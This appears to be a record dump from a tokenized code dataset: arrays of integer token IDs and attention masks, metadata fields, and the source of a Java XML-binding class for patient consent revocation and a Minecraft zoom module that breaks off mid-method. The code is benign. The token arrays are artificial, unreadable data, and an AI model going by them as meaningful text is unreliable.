547,
5437,
51,
390,
5429,
45,
110,
490,
547,
5437,
51,
29172,
577,
45,
110,
490,
547,
5437,
51,
390,
25553,
45,
110,
490,
547,
5437,
51,
390,
6344,
45,
110,
490,
547,
5437,
51,
6693,
45,
110,
894,
310,
339,
310,
1560,
51,
10433,
299,
11768,
64,
603,
453,
1524,
434,
1437,
5669,
391,
545,
44587,
310,
434,
327,
1995,
7023,
1624,
630,
28273,
51,
1340,
46,
320,
343,
15189,
28845,
492,
310,
339,
603,
453,
2989,
341,
1565,
2952,
310,
453,
344,
327,
33034,
96,
8951,
1624,
1697,
53,
98,
630,
762,
1293,
28273,
96,
8951,
1624,
1697,
53,
98,
882,
2952,
46,
320,
310,
434,
327,
33034,
96,
8951,
1624,
1697,
53,
98,
882,
2952,
46,
320,
343,
28273,
96,
1995,
7023,
1624,
1697,
53,
98,
299,
2952,
64,
343,
9986,
1624,
299,
2371,
7023,
1624,
3348,
310,
339,
603,
453,
1035,
341,
1565,
1560,
641,
2851,
451,
2952,
310,
1922,
2448,
9194,
299,
920,
64,
310,
648,
613,
299,
244,
54,
64,
310,
456,
327,
110,
299,
244,
54,
64,
613,
65,
33034,
96,
8951,
1624,
1015,
1340,
64,
613,
2002,
320,
343,
434,
327,
33034,
96,
8951,
1624,
1697,
110,
98,
630,
762,
46,
320,
419,
2448,
9194,
299,
878,
64,
419,
1644,
64,
343,
339,
310,
339,
603,
434,
1445,
6271,
9194,
46,
320,
343,
15189,
28845,
45,
8951,
1624,
312,
310,
339,
310,
28273,
96,
8951,
1624,
1697,
110,
98,
299,
1560,
64,
603,
2952,
51,
2562,
2368,
299,
9986,
1624,
64,
310,
1560,
51,
661,
299,
9986,
1624,
64,
310,
1560,
51,
770,
299,
613,
64,
303,
339,
4054,
581,
782,
962,
1325,
365,
244,
320,
310,
453,
341,
2952,
451,
1565,
2952,
1560,
16675,
341,
2952,
310,
453,
456,
341,
2371,
1560,
51,
310,
9986,
1624,
299,
2952,
51,
661,
64,
310,
2952,
299,
327,
1325,
3499,
46,
33034,
96,
8951,
1624,
1697,
53,
988,
303,
339,
465,
453,
6013,
708,
477,
1118,
1773,
545,
3845,
4824,
1142,
1357,
52,
10283,
303,
782,
5101,
45,
5741,
671,
1367,
46,
320,
310,
315,
7945,
2030,
51,
1713,
459,
2916,
742,
310,
434,
327,
897,
51,
1340,
868,
244,
53,
46,
320,
343,
315,
7945,
2030,
51,
1713,
45,
897,
51,
399,
49,
1367,
51,
2897,
49,
1367,
51,
1340,
312,
310,
339,
310,
315,
7945,
2030,
51,
1713,
459,
4304,
742,
303,
339,
465,
453,
6013,
708,
477,
1118,
1773,
545,
3845,
4824,
1142,
1357,
52,
10283,
303,
782,
8220,
9592,
45,
671,
1780,
49,
7408,
671,
727,
46,
320,
310,
315,
7945,
2030,
51,
1713,
459,
1907,
1912,
1713,
45,
2000,
312,
310,
434,
327,
624,
51,
1340,
868,
244,
53,
46,
320,
343,
315,
7945,
2030,
51,
1713,
482,
42917,
1713,
45,
624,
51,
399,
49,
727,
51,
2897,
49,
727,
51,
1340,
312,
310,
339,
310,
315,
7945,
2030,
51,
1713,
459,
4299,
742,
303,
339,
465,
453,
6013,
708,
477,
1118,
1773,
545,
3845,
4824,
1142,
1357,
52,
10283,
303,
782,
7152,
45,
5741,
671,
1367,
46,
320,
603,
453,
15821,
7152,
434,
7527,
310,
434,
1445,
285,
40801,
46,
320,
343,
1175,
21917,
11208,
2030,
299,
315,
7945,
2030,
64,
343,
456,
327,
429,
613,
299,
1367,
51,
2897,
64,
613,
350,
1367,
51,
2897,
48,
897,
51,
1340,
64,
3323,
110,
46,
320,
419,
1370,
683,
299,
1367,
51,
399,
96,
110,
988,
419,
434,
327,
399,
630,
15434,
704,
320,
547,
11208,
2030,
51,
1713,
24893,
778,
26305,
419,
339,
419,
832,
434,
327,
399,
630,
4161,
704,
320,
547,
11208,
2030,
51,
1713,
24893,
2176,
26305,
419,
339,
419,
453,
5373,
6645,
332,
3234,
5852,
4897,
9268,
347,
1813,
49,
419,
453,
16438,
1019,
1414,
15821,
349,
26783,
419,
832,
434,
327,
399,
630,
349,
22644,
320,
547,
11208,
2030,
51,
1713,
24893,
1855,
26305,
419,
339,
419,
453,
1691,
9975,
458,
1760,
451,
341,
1840,
1200,
1813,
49,
580,
419,
453,
2315,
666,
545,
21465,
641,
331,
10668,
5897,
419,
453,
580,
2285,
545,
17711,
391,
517,
75,
1429,
341,
1840,
419,
453,
458,
334,
12885,
51,
419,
832,
434,
327,
399,
630,
3243,
119,
704,
320,
547,
11208,
2030,
51,
1713,
459,
5242,
9585,
26305,
419,
339,
419,
832,
320,
547,
11208,
2030,
51,
1713,
45,
399,
312,
419,
339,
343,
339,
310,
339,
310,
832,
320,
343,
315,
7945,
2030,
51,
1713,
45,
897,
51,
399,
49,
1367,
51,
2897,
49,
1367,
51,
1340,
312,
310,
339,
303,
339,
465,
453,
6013,
708,
477,
1118,
1773,
545,
3845,
4824,
1142,
1357,
52,
10283,
303,
782,
7152,
6200,
45,
671,
1367,
46,
320,
310,
315,
7945,
2030,
51,
1713,
45,
897,
312,
303,
339,
465,
782,
962,
7945,
45,
25553,
10318,
577,
49,
6840,
3499,
11208,
46,
320,
310,
315,
7945,
2030,
51,
1713,
5564,
115,
396,
1912,
1713,
45,
7617,
577,
51,
1312,
444,
566,
1713,
30531,
742,
310,
11208,
51,
107,
7945,
299,
315,
7945,
2030,
51,
3127,
492,
310,
453,
39968,
49,
2038,
458,
1307,
46840,
3374,
451,
5672,
1073,
3301,
6397,
310,
315,
7945,
2030,
299,
762,
64,
303,
339,
465,
782,
962,
7945,
1325,
45,
25553,
10318,
577,
46,
320,
310,
962,
7945,
1325,
45,
7617,
577,
51,
1312,
444,
312,
303,
339,
465,
782,
962,
7945,
1325,
45,
671,
10318,
6200,
577,
46,
320,
310,
315,
7945,
2030,
51,
1713,
33477,
1912,
1713,
45,
7617,
6200,
577,
566,
1713,
30531,
742,
303,
339,
465,
782,
962,
24086,
18252,
7945,
1325,
45,
25553,
10318,
577,
49,
1922,
6179,
46,
320,
310,
962,
24086,
18252,
7945,
1325,
45,
7617,
577,
51,
1312,
444,
49,
6179,
312,
303,
339,
465,
782,
962,
24086,
18252,
7945,
1325,
45,
671,
10318,
6200,
577,
49,
1922,
6179,
46,
320,
310,
434,
45,
5916,
46,
320,
343,
315,
7945,
2030,
51,
1713,
5564,
115,
396,
1912,
1713,
45,
7617,
6200,
577,
566,
1713,
30531,
742,
343,
453,
6013,
708,
477,
458,
5198,
3845,
2703,
962,
1325,
563,
350,
4341,
6466,
120,
343,
453,
2851,
480,
2688,
962,
1325,
563,
11208,
51,
343,
453,
26323,
49,
1019,
2315,
1949,
477,
341,
2851,
451,
341,
1565,
343,
453,
2952,
1200,
1773,
2851,
51,
343,
2952,
51,
107,
24086,
18252,
7945,
299,
315,
7945,
2030,
51,
3127,
492,
1083,
453,
39968,
49,
2038,
458,
1307,
46840,
3374,
451,
5672,
1073,
343,
453,
3301,
6397,
343,
315,
7945,
2030,
299,
762,
64,
310,
339,
832,
665,
453,
5432,
4116,
5373,
7410,
343,
315,
7945,
2030,
51,
1713,
33477,
1912,
1713,
45,
7617,
6200,
577,
566,
1713,
30531,
742,
303,
339,
465,
782,
1496,
7945,
40801,
365,
320,
310,
347,
40801,
299,
878,
64,
310,
315,
7945,
2030,
51,
1713,
10379,
2523,
40801,
96,
742,
303,
339,
465,
782,
962,
7945,
40801,
365,
320,
310,
315,
7945,
2030,
51,
1713,
459,
3234,
13510,
310,
347,
40801,
299,
920,
64,
303,
339,
465,
964,
782,
15189,
28845,
365,
320,
310,
4021,
3499,
11338,
1798,
299,
556,
4021,
3499,
96,
33034,
51,
1340,
48,
33034,
2368,
14595,
9176,
1697,
988,
310,
1189,
51,
40816,
45,
33034,
49,
244,
53,
49,
1798,
49,
244,
53,
49,
28273,
51,
1340,
312,
310,
456,
327,
429,
613,
299,
28273,
51,
1340,
2098,
613,
350,
1798,
51,
1340,
2098,
613,
2002,
320,
343,
1798,
96,
110,
98,
299,
556,
4021,
3499,
96,
33034,
889,
14595,
9176,
988,
310,
339,
310,
28273,
299,
1798,
64,
303,
339,
465,
964,
782,
15189,
28845,
45,
429,
613,
46,
320,
310,
4021,
3499,
1197,
1798,
299,
556,
4021,
3499,
96,
33034,
96,
110,
1015,
1340,
48,
33034,
889,
14595,
9176,
988,
310,
1189,
51,
40816,
45,
33034,
96,
110,
636,
244,
53,
49,
1798,
49,
244,
53,
49,
28273,
96,
110,
1015,
1340,
312,
310,
28273,
96,
110,
98,
299,
1798,
64,
303,
339,
4054,
581,
782,
5672,
365,
320,
603,
453,
3071,
986,
341,
29262,
25995,
310,
434,
45,
33034,
882,
762,
46,
343,
456,
45,
429,
613,
66,
53,
64,
613,
65,
33034,
51,
1340,
64,
613,
2002,
419,
456,
45,
429,
614,
66,
53,
64,
614,
65,
33034,
96,
110,
1015,
1340,
64,
614,
2002,
547,
28273,
96,
110,
1697,
111,
98,
299,
762,
64,
310,
28273,
299,
556,
4021,
3499,
96,
33034,
2368,
14595,
9176,
1697,
988,
310,
2952,
299,
556,
6840,
3499,
45,
53,
49,
244,
53,
49,
244,
53,
312,
310,
2952,
51,
1312,
444,
299,
332,
23997,
100,
9183,
884,
310,
9986,
1624,
299,
244,
53,
64,
310,
2371,
7023,
1624,
299,
244,
54,
64,
310,
347,
40801,
299,
920,
64,
310,
456,
327,
429,
613,
66,
53,
64,
613,
65,
33034,
2368,
14595,
9176,
64,
613,
2002,
320,
343,
28273,
96,
110,
98,
299,
556,
4021,
3499,
96,
33034,
889,
14595,
9176,
988,
310,
339,
310,
28273,
96,
8951,
1624,
1697,
53,
98,
299,
2952,
64,
303,
339,
4054,
581,
782,
1489,
8869,
365,
320,
310,
1276,
295,
456,
327,
429,
613,
66,
53,
64,
613,
65,
33034,
51,
1340,
64,
613,
2002,
320,
295,
434,
327,
33034,
96,
110,
1697,
53,
98,
882,
762,
46,
320,
295,
456,
327,
429,
614,
66,
53,
64,
614,
65,
33034,
96,
110,
1015,
1340,
64,
614,
2002,
320,
295,
434,
327,
33034,
96,
110,
1697,
111,
98,
882,
762,
46,
320,
295,
1189,
51,
560,
51,
1243,
45,
33034,
96,
110,
1697,
111,
1015,
32318,
5688,
50,
5141,
33034,
96,
110,
1697,
111,
1015,
2562,
2368,
5688,
244,
7173,
295,
339,
295,
339,
295,
1189,
51,
560,
51,
3962,
10928,
295,
339,
295,
339,
295,
588,
310,
453,
33230,
45,
35778,
1325,
1046,
244,
53,
312,
303,
339,
4054,
453,
4598,
4457,
465,
581,
924,
782,
29106,
45,
1230,
1560,
49,
648,
7736,
46,
320,
310,
10549,
45,
6333,
312,
310,
1189,
51,
560,
51,
1243,
10379,
5141,
1271,
51,
17701,
577,
1052,
603,
434,
327,
1271,
51,
2057,
5097,
1177,
320,
343,
19593,
1230,
1225,
11768,
299,
1560,
51,
43174,
492,
343,
456,
327,
429,
613,
66,
53,
64,
613,
65,
10433,
51,
30031,
492,
613,
2002,
320,
419,
1189,
51,
560,
51,
1243,
459,
244,
6771,
1181,
5884,
46,
10433,
51,
1113,
45,
110,
3445,
5175,
30575,
29633,
48,
1181,
5884,
46,
10433,
51,
1113,
45,
110,
3445,
6693,
30575,
46148,
343,
339,
310,
339,
603,
434,
327,
1271,
51,
2057,
2950,
5919,
1177,
320,
343,
1189,
51,
560,
51,
3962,
30531,
742,
343,
7736,
9487,
57,
64,
343,
456,
327,
1230,
2851,
299,
1560,
51,
25628,
2950,
492,
2851,
882,
762,
64,
2851,
299,
2851,
51,
22998,
20842,
1177,
320,
419,
29106,
45,
2680,
49,
7736,
312,
343,
339,
343,
7736,
40444,
57,
64,
343,
10549,
45,
6333,
312,
343,
1189,
51,
560,
51,
3962,
33477,
5141,
1271,
51,
17701,
577,
19218,
432,
742,
310,
339,
310,
832,
320,
343,
1189,
51,
560,
51,
3962,
459,
2056,
742,
310,
339,
303,
339,
465,
581,
924,
782,
10549,
45,
429,
5190,
46,
320,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
5190,
64,
613,
2002,
320,
343,
1189,
51,
560,
51,
1243,
482,
17842,
310,
339,
303,
339,
465,
453,
1105,
51,
124,
56,
104,
51,
4734,
4457,
303,
581,
6840,
640,
3112,
1325,
365,
320,
310,
453,
477,
3235,
331,
2952,
1560,
49,
8998,
391,
545,
619,
6840,
3499,
310,
461,
327,
1325,
3499,
46,
33034,
96,
53,
1697,
54,
988,
303,
339,
465,
581,
12108,
14631,
640,
14631,
365,
320,
310,
461,
9051,
8869,
14631,
51,
390,
8869,
14631,
492,
303,
339,
465,
453,
19746,
961,
341,
22672,
451,
619,
11208,
303,
782,
1496,
7945,
45,
25553,
10318,
577,
49,
7408,
5097,
5437,
49,
343,
18694,
1237,
3596,
1237,
46,
320,
310,
1496,
7945,
45,
7617,
577,
51,
1312,
444,
49,
5437,
49,
3596,
1237,
312,
303,
339,
303,
782,
1496,
7945,
45,
671,
10318,
6200,
577,
49,
7408,
5097,
5437,
49,
343,
18694,
1237,
3596,
1237,
46,
320,
310,
434,
45,
107,
7945,
2030,
630,
762,
46,
315,
7945,
2030,
299,
556,
21917,
45,
55,
58,
59,
312,
310,
315,
7945,
2030,
51,
1713,
10379,
1912,
1713,
45,
7617,
6200,
577,
566,
1713,
459,
7173,
603,
453,
5437,
904,
331,
3510,
451,
331,
24072,
51,
244,
2634,
640,
477,
2109,
49,
1019,
1178,
391,
5016,
4574,
310,
453,
451,
341,
26156,
1019,
4783,
10955,
17125,
49,
1636,
43402,
341,
3596,
1637,
310,
453,
456,
1623,
26156,
1278,
708,
1019,
902,
2353,
2323,
3049,
51,
310,
453,
25056,
456,
45457,
480,
341,
1152,
708,
666,
5110,
310,
453,
26156,
904,
17125,
563,
477,
11208,
1198,
310,
5068,
26156,
299,
556,
5068,
492,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
5437,
51,
30031,
492,
3323,
110,
46,
320,
343,
910,
331,
899,
299,
5437,
51,
6693,
45,
110,
312,
343,
910,
331,
5429,
299,
5437,
51,
390,
5429,
45,
110,
312,
343,
910,
331,
25553,
299,
5437,
51,
390,
25553,
45,
110,
312,
343,
453,
434,
580,
1200,
12040,
20711,
575,
12040,
49,
2315,
545,
331,
3596,
4508,
343,
434,
327,
102,
5429,
630,
7408,
19882,
51,
9857,
100,
5741,
3033,
1293,
331,
25553,
630,
7408,
19882,
51,
9857,
100,
5741,
3033,
46,
320,
419,
26156,
51,
688,
45,
102,
5429,
630,
7408,
19882,
51,
9857,
100,
5741,
3033,
1037,
733,
5437,
51,
29172,
577,
45,
110,
46,
518,
7408,
19882,
51,
13070,
100,
5215,
312,
343,
339,
343,
315,
7945,
2030,
51,
1713,
45,
102,
25553,
566,
1713,
459,
29633,
566,
1713,
45,
2441,
5067,
899,
45,
102,
899,
3445,
1713,
33730,
7173,
310,
339,
310,
453,
2483,
1019,
1178,
391,
2803,
3939,
5937,
347,
50,
3488,
26156,
391,
2337,
2794,
310,
453,
16970,
1348,
17125,
2464,
310,
40065,
9986,
41957,
299,
3596,
1237,
51,
13912,
41957,
492,
310,
2236,
45,
8951,
41957,
51,
43832,
7466,
1177,
320,
343,
910,
5216,
299,
327,
671,
46,
8951,
41957,
51,
47236,
492,
343,
910,
8219,
299,
3596,
1237,
51,
390,
6344,
45,
4271,
312,
343,
434,
327,
3469,
630,
762,
46,
320,
419,
8219,
299,
7408,
19882,
51,
13070,
100,
5215,
64,
343,
339,
343,
434,
1445,
21015,
51,
4766,
45,
4271,
509,
320,
419,
453,
1178,
391,
8874,
477,
1611,
419,
434,
45,
4271,
630,
7408,
19882,
51,
13070,
100,
5215,
46,
320,
547,
315,
7945,
2030,
51,
1713,
459,
32858,
1912,
1713,
459,
29633,
566,
1713,
45,
2441,
5067,
899,
45,
3469,
3445,
1713,
33730,
7173,
419,
339,
419,
832,
320,
547,
315,
7945,
2030,
51,
1713,
459,
32858,
63,
1912,
1713,
45,
4271,
566,
1713,
459,
29633,
566,
1713,
45,
2441,
5067,
899,
45,
3469,
3445,
1713,
33730,
7173,
419,
339,
343,
339,
310,
339,
310,
315,
7945,
2030,
51,
1713,
45,
6299,
115,
742,
303,
339,
303,
782,
1496,
7945,
1325,
45,
25553,
10318,
577,
49,
7408,
5097,
5437,
46,
320,
310,
1496,
7945,
1325,
45,
7617,
577,
51,
1312,
444,
49,
5437,
312,
303,
339,
303,
782,
1496,
7945,
1325,
45,
671,
10318,
6200,
577,
49,
7408,
5097,
5437,
46,
320,
310,
315,
7945,
2030,
51,
1713,
10379,
1912,
1713,
45,
7617,
6200,
577,
312,
310,
456,
45,
429,
613,
66,
53,
64,
613,
65,
5855,
51,
30031,
492,
613,
2002,
320,
343,
910,
331,
899,
299,
5437,
51,
6693,
45,
110,
312,
343,
315,
7945,
2030,
51,
1713,
459,
18267,
1713,
45,
5855,
51,
390,
25553,
45,
110,
3445,
1713,
459,
29633,
566,
1713,
45,
2441,
5067,
899,
45,
102,
899,
3445,
1713,
33730,
742,
310,
339,
310,
315,
7945,
2030,
51,
1713,
30531,
742,
303,
339,
465,
964,
924,
910,
2183,
5067,
899,
45,
671,
4732,
46,
320,
310,
1175,
648,
3124,
299,
4732,
51,
1340,
492,
310,
453,
20216,
49,
7572,
1118,
7305,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
3124,
64,
3323,
110,
46,
320,
343,
1370,
9986,
2674,
299,
4732,
51,
15602,
45,
110,
312,
343,
434,
327,
8951,
2674,
630,
37401,
1293,
9986,
2674,
630,
4161,
44,
1293,
9986,
2674,
630,
15434,
44,
1293,
547,
9986,
2674,
630,
244,
53,
125,
53,
62,
1293,
9986,
2674,
630,
244,
53,
125,
53,
70,
1293,
9986,
2674,
630,
244,
53,
125,
53,
73,
46,
320,
419,
461,
15821,
5067,
899,
45,
7351,
49,
613,
312,
343,
339,
310,
339,
310,
461,
4732,
64,
303,
339,
465,
964,
924,
910,
15821,
5067,
899,
45,
671,
4732,
49,
648,
664,
46,
320,
310,
648,
613,
64,
310,
1175,
648,
3124,
299,
4732,
51,
1340,
492,
310,
21917,
45440,
299,
556,
21917,
45,
1340,
312,
310,
45440,
51,
1713,
45,
7351,
51,
8724,
45,
53,
49,
664,
894,
310,
456,
327,
110,
299,
664,
64,
613,
350,
3124,
64,
3323,
110,
46,
320,
343,
1370,
9986,
2674,
299,
4732,
51,
15602,
45,
110,
312,
343,
434,
327,
8951,
2674,
630,
6121,
704,
320,
419,
45440,
51,
1713,
24893,
2477,
26305,
343,
339,
343,
832,
434,
327,
8951,
2674,
630,
4161,
704,
320,
419,
45440,
51,
1713,
24893,
2176,
26305,
343,
339,
343,
832,
434,
327,
8951,
2674,
630,
15434,
704,
320,
419,
45440,
51,
1713,
24893,
778,
26305,
343,
339,
343,
453,
15620,
15821,
244,
53,
125,
53,
62,
49,
244,
53,
125,
53,
70,
480,
244,
53,
125,
53,
73,
434,
2974,
9268,
347,
3895,
343,
453,
804,
1278,
708,
2974,
1648,
545,
7880,
50,
2774,
8019,
51,
11241,
2285,
5897,
343,
453,
545,
21698,
391,
331,
244,
53,
125,
55,
53,
5945,
3895,
804,
32507,
51,
343,
832,
434,
327,
8951,
2674,
630,
244,
53,
125,
53,
62,
46,
320,
419,
45440,
51,
1713,
459,
5242,
125,
62,
26305,
343,
339,
343,
832,
434,
327,
8951,
2674,
630,
244,
53,
125,
53,
70,
46,
320,
419,
45440,
51,
1713,
459,
5242,
9771,
26305,
343,
339,
343,
832,
434,
327,
8951,
2674,
630,
244,
53,
125,
53,
73,
46,
320,
419,
45440,
51,
1713,
459,
5242,
9585,
26305,
343,
339,
343,
832,
320,
419,
45440,
51,
1713,
45,
8951,
2674,
312,
343,
339,
310,
339,
310,
461,
45440,
51,
3127,
492,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 3,820
| true
| 57.438394
| true
| true
|
RevokePatientConsentResponse.java
|
/FileExtraction/Java_unseen/taktik_freehealth-connector/src/main/java/be/fgov/ehealth/hubservices/core/v3/RevokePatientConsentResponse.java
|
package be.fgov.ehealth.hubservices.core.v3;
import java.io.Serializable;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlType;
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(
name = "RevokePatientConsentResponseType",
propOrder = {"response", "acknowledge"}
)
@XmlRootElement(
name = "RevokePatientConsentResponse",
namespace = "http://www.ehealth.fgov.be/hubservices/protocol/v3"
)
public class RevokePatientConsentResponse implements Serializable {
private static final long serialVersionUID = 1L;
@XmlElement(
required = true
)
protected ResponseType response;
@XmlElement(
required = true
)
protected AcknowledgeType acknowledge;
public ResponseType getResponse() {
return this.response;
}
public void setResponse(ResponseType value) {
this.response = value;
}
public AcknowledgeType getAcknowledge() {
return this.acknowledge;
}
public void setAcknowledge(AcknowledgeType value) {
this.acknowledge = value;
}
}
| 1,196
|
Java
|
.java
|
taktik/freehealth-connector
| 18
| 21
| 13
|
2018-04-04T20:40:46Z
|
2023-09-08T06:15:36Z
|
45a0037d336c808a4007ca6baadb96b1d3248b2e18f53ddb05609c7505c7de54
|
[
1337,
545,
51,
4658,
1558,
51,
106,
9864,
51,
8530,
4270,
51,
1284,
51,
123,
56,
64,
222,
222,
485,
1401,
51,
735,
51,
12644,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
41079,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
9794,
638,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
17093,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
4411,
4069,
1325,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
4341,
51,
40002,
64,
222,
222,
69,
4411,
9794,
638,
45,
4411,
41079,
51,
6457,
46,
222,
69,
40002,
45,
682,
655,
299,
332,
454,
3909,
18754,
29481,
38143,
411,
682,
7030,
2888,
299,
3479,
2003,
411,
332,
478,
13384,
3667,
222,
46,
222,
69,
4411,
4069,
1325,
45,
682,
655,
299,
332,
454,
3909,
18754,
29481,
1416,
411,
682,
3596,
299,
332,
544,
574,
1516,
51,
106,
9864,
51,
4658,
1558,
51,
883,
52,
8530,
4270,
52,
5732,
52,
123,
56,
39,
222,
46,
222,
942,
462,
922,
3909,
18754,
29481,
1416,
4584,
19182,
320,
682,
964,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
682,
496,
17093,
45,
416,
2147,
299,
878,
682,
848,
682,
2532,
5178,
638,
1808,
64,
682,
496,
17093,
45,
416,
2147,
299,
878,
682,
848,
682,
2532,
35793,
13384,
638,
41909,
64,
3051,
581,
5178,
638,
640,
1416,
365,
320,
416,
461,
477,
51,
2003,
64,
682,
339,
3051,
581,
782,
758,
1416,
45,
38143,
804,
46,
320,
416,
477,
51,
2003,
299,
804,
64,
682,
339,
3051,
581,
35793,
13384,
638,
640,
16958,
13384,
365,
320,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
1,
1,
1,
1,
1
]
] | 307
| true
| 74.247492
| true
| true
|
Zoom.java
|
/FileExtraction/Java_unseen/Gri11edHam_HamHacks/src/main/java/net/grilledham/hamhacks/modules/render/Zoom.java
|
package net.grilledham.hamhacks.modules.render;
import net.grilledham.hamhacks.animation.Animation;
import net.grilledham.hamhacks.animation.AnimationType;
import net.grilledham.hamhacks.event.EventListener;
import net.grilledham.hamhacks.event.events.EventScroll;
import net.grilledham.hamhacks.modules.Category;
import net.grilledham.hamhacks.modules.Keybind;
import net.grilledham.hamhacks.modules.Module;
import net.grilledham.hamhacks.setting.BoolSetting;
import net.grilledham.hamhacks.setting.KeySetting;
import net.grilledham.hamhacks.setting.NumberSetting;
import net.grilledham.hamhacks.setting.SettingCategory;
import net.minecraft.text.Text;
import net.minecraft.util.math.MathHelper;
import org.lwjgl.glfw.GLFW;
public class Zoom extends Module {
private final SettingCategory OPTIONS_CATEGORY = new SettingCategory("hamhacks.module.zoom.category.options");
private final KeySetting zoomKey = new KeySetting("hamhacks.module.zoom.zoomKey", new Keybind(GLFW.GLFW_KEY_V), () -> true);
private final NumberSetting initialZoom = new NumberSetting("hamhacks.module.zoom.initialZoom", 4, () -> true, 1, 50);
private final SettingCategory SCROLL_CATEGORY = new SettingCategory("hamhacks.module.zoom.category.scroll");
private final BoolSetting scrollToZoom = new BoolSetting("hamhacks.module.zoom.scrollToZoom", false, () -> true);
private final BoolSetting linearScrollSpeed = new BoolSetting("hamhacks.module.zoom.linearScrollSpeed", false, scrollToZoom::get);
private final NumberSetting scrollSpeed = new NumberSetting("hamhacks.module.zoom.scrollSpeed", 1, scrollToZoom::get, 1, 10);
private final SettingCategory CLAMP_CATEGORY = new SettingCategory("hamhacks.module.zoom.category.clamp");
private final BoolSetting clampZoom = new BoolSetting("hamhacks.module.zoom.clampZoom", true, scrollToZoom::get);
private final NumberSetting minZoom = new NumberSetting("hamhacks.module.zoom.minZoom", 1, () -> clampZoom.get() || scrollToZoom.get(), 1, 4);
private final NumberSetting maxZoom = new NumberSetting("hamhacks.module.zoom.maxZoom", 50, () -> clampZoom.get() || scrollToZoom.get(), 4, 500);
private final SettingCategory ADVANCED_CATEGORY = new SettingCategory("hamhacks.module.zoom.category.advanced");
private final BoolSetting adjustSensitivity = new BoolSetting("hamhacks.module.zoom.adjustSensitivity", false, () -> true);
private final BoolSetting smoothZoom = new BoolSetting("hamhacks.module.zoom.smoothZoom", false, () -> true);
private final NumberSetting animationSpeed = new NumberSetting("hamhacks.module.zoom.animationSpeed", 0.5, smoothZoom::get, 0, 1);
private final BoolSetting smoothCamera = new BoolSetting("hamhacks.module.zoom.smoothCamera", false, () -> true);
public final BoolSetting renderHand = new BoolSetting("hamhacks.module.zoom.renderHand", true, () -> true);
private boolean zooming = false;
private double zoom = 1;
private double zoomAmount = 1;
private double prevSensitivity = 0;
private boolean wasSmoothCameraEnabled = false;
private final Animation animation = new Animation(AnimationType.EASE_IN_OUT, animationSpeed.get(), true);
public Zoom() {
super(Text.translatable("hamhacks.module.zoom"), Category.RENDER, new Keybind(0));
setEnabled(true);
animation.setAbsolute(1);
settingCategories.add(0, OPTIONS_CATEGORY);
OPTIONS_CATEGORY.add(zoomKey);
OPTIONS_CATEGORY.add(initialZoom);
settingCategories.add(1, SCROLL_CATEGORY);
SCROLL_CATEGORY.add(scrollToZoom);
SCROLL_CATEGORY.add(linearScrollSpeed);
SCROLL_CATEGORY.add(scrollSpeed);
settingCategories.add(2, CLAMP_CATEGORY);
CLAMP_CATEGORY.add(clampZoom);
CLAMP_CATEGORY.add(minZoom);
CLAMP_CATEGORY.add(maxZoom);
settingCategories.add(3, ADVANCED_CATEGORY);
ADVANCED_CATEGORY.add(adjustSensitivity);
ADVANCED_CATEGORY.add(smoothZoom);
ADVANCED_CATEGORY.add(animationSpeed);
ADVANCED_CATEGORY.add(smoothCamera);
ADVANCED_CATEGORY.add(renderHand);
}
@Override
public String getHUDText() {
return super.getHUDText() + " \u00a77" + String.format("%.2f", smoothZoom.get() ? zoomAmount : zoom);
}
public double modifyFov(double fov) {
if(isEnabled()) {
